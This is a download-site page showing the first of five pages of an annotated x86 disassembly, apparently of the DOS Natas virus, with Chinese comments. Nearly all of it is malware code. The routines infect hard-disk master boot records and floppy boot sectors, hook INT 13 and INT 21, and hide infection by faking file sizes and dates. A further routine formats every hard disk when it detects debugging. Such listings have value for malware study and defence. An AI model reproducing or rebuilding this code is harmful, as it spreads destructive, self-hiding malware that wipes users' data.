⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 natas

📁 一套关于加解密的文件
💻
📖 第 1 页 / 共 5 页
字号:
9E80:0417 AB             STOSW	 
9E80:0418 C745037305     MOV	Word Ptr [DI+03],0573 
9E80:041D 8C0D           MOV	[DI],CS 	;新 INT 21 中断前 5 字节
9E80:041F 8C4D05         MOV	[DI+05],CS 	;JMP CS:0573
9E80:0422 57             PUSH	DI 
9E80:0423 E8EEFD         CALL	0214		;取 INT 13/15/21/40 地址 
9E80:0426 5F             POP	DI 
9E80:0427 0E             PUSH	CS 
9E80:0428 1F             POP	DS 
9E80:0429 A1AD02         MOV	AX,[02AD] 
9E80:042C 394515         CMP	[DI+15],AX 	;[13EF]
9E80:042F 770B           JA	043C 
9E80:0431 394521         CMP	[DI+21],AX 	;[13FB]
9E80:0434 7706           JA	043C 		;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD         CALL	01E4 		;截取 INT 13
9E80:0439 E8B4FD         CALL	01F0 		;截取 INT 21
9E80:043C E8D4FC         CALL	0113 		;传染硬盘主引导区
9E80:043F 0BED           OR	BP,BP 
9E80:0441 8BF5           MOV	SI,BP 
9E80:0443 7503           JNZ	0448 		;有跟踪转 0448
9E80:0445 E975FF         JMP	03BD 		;无跟踪转 03BD 执行原程序
9E80:0448 33DB           XOR	BX,BX 
9E80:044A 8EC3           MOV	ES,BX 
9E80:044C B280           MOV	DL,80 
9E80:044E 32F6           XOR	DH,DH 
9E80:0450 33C9           XOR	CX,CX 		;如果有跟踪
9E80:0452 B80105         MOV	AX,0501 	;格式化硬盘
9E80:0455 E85E06         CALL	0AB6 
9E80:0458 80E1C0         AND	CL,C0 
9E80:045B FEC5           INC	CH 
9E80:045D 75F3           JNZ	0452 
9E80:045F 80C140         ADD	CL,40
9E80:0462 75EE           JNZ	0452 
9E80:0464 32E4           XOR	AH,AH 		;磁盘复位
9E80:0466 CD13           INT	13 
9E80:0468 FEC6           INC	DH 
9E80:046A 80FE10         CMP	DH,10 
9E80:046D 72E1           JB	0450 
9E80:046F 42             INC	DX 		;转格式化第二个硬盘
9E80:0470 EBDC           JMP	044E 
;=========================================================================
;	病毒新 INT 13H 中断服务程序
;=========================================================================
9E80:0472 EB2E           JMP	04A2   ====>	;本句指令引导区引入时为 NOP
9E80:0474 E875FC         CALL	00EC 		;本段程序为在引导区启动
9E80:0477 B021           MOV	AL,21		;时截取 INT 21
9E80:0479 E847FC         CALL	00C3 		;取 INT 21 中断向量于 ES:BX
9E80:047C 8CC0           MOV	AX,ES 
9E80:047E 0E             PUSH	CS 
9E80:047F 0E             PUSH	CS 
9E80:0480 1F             POP	DS 
9E80:0481 07             POP	ES 
9E80:0482 3D0008         CMP	AX,0800 	;INT 21 段地址 > 0800
9E80:0485 7718           JA	049F 		;表示尚未设置
9E80:0487 BFFD13         MOV	DI,13FD 
9E80:048A FD             STD	 
9E80:048B 8705           XCHG	AX,[DI] 
9E80:048D AF             SCASW	 
9E80:048E 740F           JZ	049F 		;等于启动初始值退出
9E80:0490 891D           MOV	[DI],BX 	;保存新地址
9E80:0492 B021           MOV	AL,21
9E80:0494 BA7305         MOV	DX,0573 	;设置新 INT 21 到 CS:0573
9E80:0497 E83AFC         CALL	00D4 
9E80:049A C60673042E     MOV	Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2
9E80:049F E860FC         CALL	0102 		;POPA
9E80:04A2 80FC02         CMP	AH,02 
9E80:04A5 7509           JNZ	04B0 
9E80:04A7 83F901         CMP	CX,+01 
9E80:04AA 7504           JNZ	04B0 
9E80:04AC 0AF6           OR	DH,DH 		;读引导区转 04B6
9E80:04AE 7406           JZ	04B6 
9E80:04B0 E8F605         CALL	0AA9 		;执行原 INT 13H
9E80:04B3 CA0200         RETF	0002 
;===========================================================================
;读引导区时返回原引导记录及传染程序
9E80:04B6 E8F005         CALL	0AA9 		;执行原 INT 13H
9E80:04B9 E830FC         CALL	00EC 		;PUSHA
9E80:04BC 723D           JB	04FB 
9E80:04BE 06             PUSH	ES 
9E80:04BF 0E             PUSH	CS 
9E80:04C0 07             POP	ES 
9E80:04C1 1F             POP	DS 
9E80:04C2 B90001         MOV	CX,0100 
9E80:04C5 8BF3           MOV	SI,BX 
9E80:04C7 BF1314         MOV	DI,1413 
9E80:04CA 8BDF           MOV	BX,DI 
9E80:04CC FC             CLD	 
9E80:04CD F3             REPZ			;移动读出的引导记录
9E80:04CE A5             MOVSW	 		;到 CS:1413
9E80:04CF 0E             PUSH	CS 
9E80:04D0 1F             POP	DS 
9E80:04D1 E8B8FC         CALL	018C 		;判断是否已传染
9E80:04D4 752B           JNZ	0501 
9E80:04D6 B80102         MOV	AX,0201 	;已传染读出原引导记录
9E80:04D9 8B4C1B         MOV	CX,[SI+1B] 
9E80:04DC 8A741F         MOV	DH,[SI+1F] 
9E80:04DF E8D405         CALL	0AB6 
9E80:04E2 7217           JB	04FB 
9E80:04E4 A10000         MOV	AX,[0000] 
9E80:04E7 3907           CMP	[BX],AX 
9E80:04E9 7510           JNZ	04FB 		;无病毒转 04FB
9E80:04EB 8B7E0E         MOV	DI,[BP+0E] 
9E80:04EE 8E4600         MOV	ES,[BP+00] 
9E80:04F1 2BF3           SUB	SI,BX 
9E80:04F3 03FE           ADD	DI,SI 
9E80:04F5 8D7747         LEA	SI,[BX+47] 	;解密恢复原引导记录
9E80:04F8 E83BFB         CALL	0036 
9E80:04FB E804FC         CALL	0102 		;POPA
9E80:04FE CA0200         RETF	0002 
;==========================================================================
;传染引导记录程序
9E80:0501 80FA80         CMP	DL,80		;是硬盘不传染 
9E80:0504 73F5           JNB	04FB 
9E80:0506 B80103         MOV	AX,0301
9E80:0509 B90100         MOV	CX,0001 
9E80:050C E8A705         CALL	0AB6 
9E80:050F 72EA           JB	04FB 
9E80:0511 8BF2           MOV	SI,DX 
9E80:0513 8BFB           MOV	DI,BX 
9E80:0515 8B4513         MOV	AX,[DI+13] 
9E80:0518 8B4D18         MOV	CX,[DI+18] 
9E80:051B 294D13         SUB	[DI+13],CX 
9E80:051E 890E6F05       MOV	[056F],CX 
9E80:0522 33D2           XOR	DX,DX 
9E80:0524 0BC0           OR	AX,AX 
9E80:0526 74D3           JZ	04FB 
9E80:0528 E3D1           JCXZ	04FB 
9E80:052A F7F1           DIV	CX 
9E80:052C 0BD2           OR	DX,DX 
9E80:052E 75CB           JNZ	04FB 
9E80:0530 8B5D1A         MOV	BX,[DI+1A] 
9E80:0533 0BDB           OR	BX,BX 
9E80:0535 74C4           JZ	04FB 
9E80:0537 F7F3           DIV	BX 
9E80:0539 0BD2           OR	DX,DX 
9E80:053B 75BE           JNZ	04FB 
9E80:053D 48             DEC	AX 
9E80:053E 8AE8           MOV	CH,AL 
9E80:0540 B101           MOV	CL,01 
9E80:0542 4B             DEC	BX 
9E80:0543 8BD6           MOV	DX,SI 
9E80:0545 8AF3           MOV	DH,BL 
9E80:0547 8BDF           MOV	BX,DI 
9E80:0549 E80DFC         CALL	0159 
9E80:054C 72AD           JB	04FB 
9E80:054E B80903         MOV	AX,0309 
9E80:0551 33DB           XOR	BX,BX 
9E80:0553 E86005         CALL	0AB6 
9E80:0556 72A3           JB	04FB 
9E80:0558 B80103         MOV	AX,0301 
9E80:055B BB1314         MOV	BX,1413 
9E80:055E B90100         MOV	CX,0001 
9E80:0561 32F6           XOR	DH,DH 
9E80:0563 E85005         CALL	0AB6 
9E80:0566 8B5E0E         MOV	BX,[BP+0E] 
9E80:0569 8E5E00         MOV	DS,[BP+00] 
9E80:056C 816F130F00     SUB	Word Ptr [BX+13],000F 
9E80:0571 EB88           JMP	04FB 
;=======================================================================
;	新 INT 21 代码部分
;=======================================================================
9E80:0573 FA             CLI	 
9E80:0574 2E8C16D512     MOV	CS:[12D5],SS 	;保存堆栈地址
9E80:0579 2E8926D712     MOV	CS:[12D7],SP 
9E80:057E 0E             PUSH	CS 
9E80:057F 17             POP	SS 
9E80:0580 BCD913         MOV	SP,13D9 	;切换到内部堆栈
9E80:0583 FB             STI	 
9E80:0584 E865FB         CALL	00EC 		;PUSHA
9E80:0587 E421           IN	AL,21
9E80:0589 0C02           OR	AL,02 
9E80:058B E621           OUT	21,AL		;屏蔽键盘
9E80:058D 0E             PUSH	CS 
9E80:058E 1F             POP	DS 
9E80:058F BFFF13         MOV	DI,13FF 
9E80:0592 899DC4F6       MOV	[DI+F6C4],BX 	;MOV [0AC3],BX
9E80:0596 B024           MOV	AL,24
9E80:0598 E828FB         CALL	00C3 		;取中断向量 INT 24
9E80:059B 895DE8         MOV	[DI-18],BX 	;保存于 13E7
9E80:059E 8C45EA         MOV	[DI-16],ES 
9E80:05A1 C705B003       MOV	Word Ptr [DI],03B0 	;MOV AL,3
9E80:05A5 C64502CF       MOV	Byte Ptr [DI+02],CF 	;IRET
9E80:05A9 8BD7           MOV	DX,DI		;设置新 INT 24 中断向量 
9E80:05AB E826FB         CALL	00D4 
9E80:05AE E851FB         CALL	0102 		;POPA
9E80:05B1 E83CFC         CALL	01F0 		;恢复原 INT 21 中断 5 字节
9E80:05B4 E835FB         CALL	00EC 		;以便调用
;==========================================================================
9E80:05B7 80FC30         CMP	AH,30
9E80:05BA 750E           JNZ	05CA 
9E80:05BC 81C36606       ADD	BX,0666 	;病毒驻留检测, DOS 30H 功能
9E80:05C0 7508           JNZ	05CA 		;以 BX = F99A 调用
9E80:05C2 895E10         MOV	[BP+10],BX 	;返回 AX = 0000
9E80:05C5 895E0E         MOV	[BP+0E],BX 
9E80:05C8 EB5C           JMP	0626 		;INT 21 返回
;==========================================================================
9E80:05CA 80FC11         CMP	AH,11 
9E80:05CD 726F           JB	063E 
9E80:05CF 80FC12         CMP	AH,12 		;DOS 11,12 功能 (DIR)
9E80:05D2 776A           JA	063E 
9E80:05D4 E8EE04         CALL	0AC5 		;先调用原 INT 21
9E80:05D7 0AC0           OR	AL,AL		;未找到目录项返回 
9E80:05D9 7403           JZ	05DE 
9E80:05DB E9A502         JMP	0883 
9E80:05DE E84E04         CALL	0A2F 		;设置 INT 21 返回值(堆栈中)
9E80:05E1 E8AC04         CALL	0A90 		;取当前执行文件名
9E80:05E4 B84348         MOV	AX,4843 	;于 ES:DI (从 MCB 中)
9E80:05E7 AF             SCASW	 		; "HC"
9E80:05E8 750C           JNZ	05F6 
9E80:05EA B84B44         MOV	AX,444B 	; "DK"
9E80:05ED AF             SCASW	 
9E80:05EE 7506           JNZ	05F6 
9E80:05F0 B8534B         MOV	AX,4B53 	; "KS" 即 CHKDSK
9E80:05F3 AF             SCASW	 		;如果执行文件是 CHKDSK
9E80:05F4 7430           JZ	0626 		;则文件长度不减
9E80:05F6 E8A804         CALL	0AA1 		;取 DTA => ES:BX
9E80:05F9 33FF           XOR	DI,DI 
9E80:05FB 803FFF         CMP	Byte Ptr [BX],FF 
9E80:05FE 7503           JNZ	0603 
9E80:0600 BF0700         MOV	DI,0007 	;扩展 FCB
9E80:0603 8D711A         LEA	SI,[BX+DI+1A] 	;
9E80:0606 E82E04         CALL	0A37 		;如果是 ARJ,LHA,PK系列
9E80:0609 741B           JZ	0626 		;BACKUP,MODEM等文件执行中
9E80:060B 803CC8         CMP	Byte Ptr [SI],C8 ;则不改动 (以下同)
9E80:060E 7216           JB	0626 		;未传染返回
9E80:0610 802CC8         SUB	Byte Ptr [SI],C8 	;已传染,年号-100
9E80:0613 C4411D         LES	AX,[BX+DI+1D] 
9E80:0616 8CC1           MOV	CX,ES 
9E80:0618 2D8812         SUB	AX,1288 	;文件长 - 4744 字节
9E80:061B 83D900         SBB	CX,+00 
9E80:061E 7206           JB	0626 
9E80:0620 89411D         MOV	[BX+DI+1D],AX 
9E80:0623 89491F         MOV	[BX+DI+1F],CX 
9E80:0626 E8F503         CALL	0A1E 		;恢复 INT 24,开键盘
9E80:0629 E8D6FA         CALL	0102 		;POPA
9E80:062C E8C1FB         CALL	01F0 		;修改 INT 21 头 5 字节
9E80:062F FA             CLI	 
9E80:0630 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:0635 2E8B26D712     MOV	SP,CS:[12D7] 
9E80:063A FB             STI	 
9E80:063B CA0200         RETF	0002 
;========================================================================
9E80:063E 80FC4E         CMP	AH,4E		;INT 21 之寻找文件功能
9E80:0641 721B           JB	065E 
9E80:0643 80FC4F         CMP	AH,4F
9E80:0646 7716           JA	065E 
9E80:0648 E87A04         CALL	0AC5 		;先调用原 INT 21
9E80:064B 7303           JNB	0650 
9E80:064D E93302         JMP	0883 
9E80:0650 E8DC03         CALL	0A2F 		;保存返回 AX
9E80:0653 E84B04         CALL	0AA1 		;取 DTA 于 ES:BX
9E80:0656 BFFDFF         MOV	DI,FFFD 
9E80:0659 8D7719         LEA	SI,[BX+19] 	;更改文件长及时间
9E80:065C EBA8           JMP	0606 
;=======================================================================
9E80:065E 3D0242         CMP	AX,4202 	;INT 21 之测试文件长功能
9E80:0661 7524           JNZ	0687 
9E80:0663 E85C04         CALL	0AC2 		;调用原 INT 21
9E80:0666 72E5           JB	064D 
9E80:0668 E84003         CALL	09AB 		;取系统文件表项于 ES:DI
9E80:066B 7611           JBE	067E 
9E80:066D E8C703         CALL	0A37 		;
9E80:0670 740C           JZ	067E 
9E80:0672 2D8812         SUB	AX,1288 	;如果传染
9E80:0675 83DA00         SBB	DX,+00 		;文件长 - 4744
9E80:0678 894515         MOV	[DI+15],AX 
9E80:067B 895517         MOV	[DI+17],DX 
9E80:067E F8             CLC	 
9E80:067F E8AD03         CALL	0A2F 		;设置 INT 21 返回值
9E80:0682 89560A         MOV	[BP+0A],DX 	;设置返回 DX
9E80:0685 EB9F           JMP	0626 
;========================================================================
9E80:0687 3D0057         CMP	AX,5700 	;INT 21 之文件时间功能
9E80:068A 7412           JZ	069E 
9E80:068C 3D0157         CMP	AX,5701 
9E80:068F 752F           JNZ	06C0 
9E80:0691 E81703         CALL	09AB 		;设置文件时间
9E80:0694 7612           JBE	06A8 		;如果传染
9E80:0696 80FEC8         CMP	DH,C8 		;未加 100 年则加 100 年
9E80:0699 730D           JNB	06A8 
9E80:069B 80C6C8         ADD	DH,C8 
9E80:069E E89603         CALL	0A37 
9E80:06A1 7405           JZ	06A8 
9E80:06A3 E81C04         CALL	0AC2 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -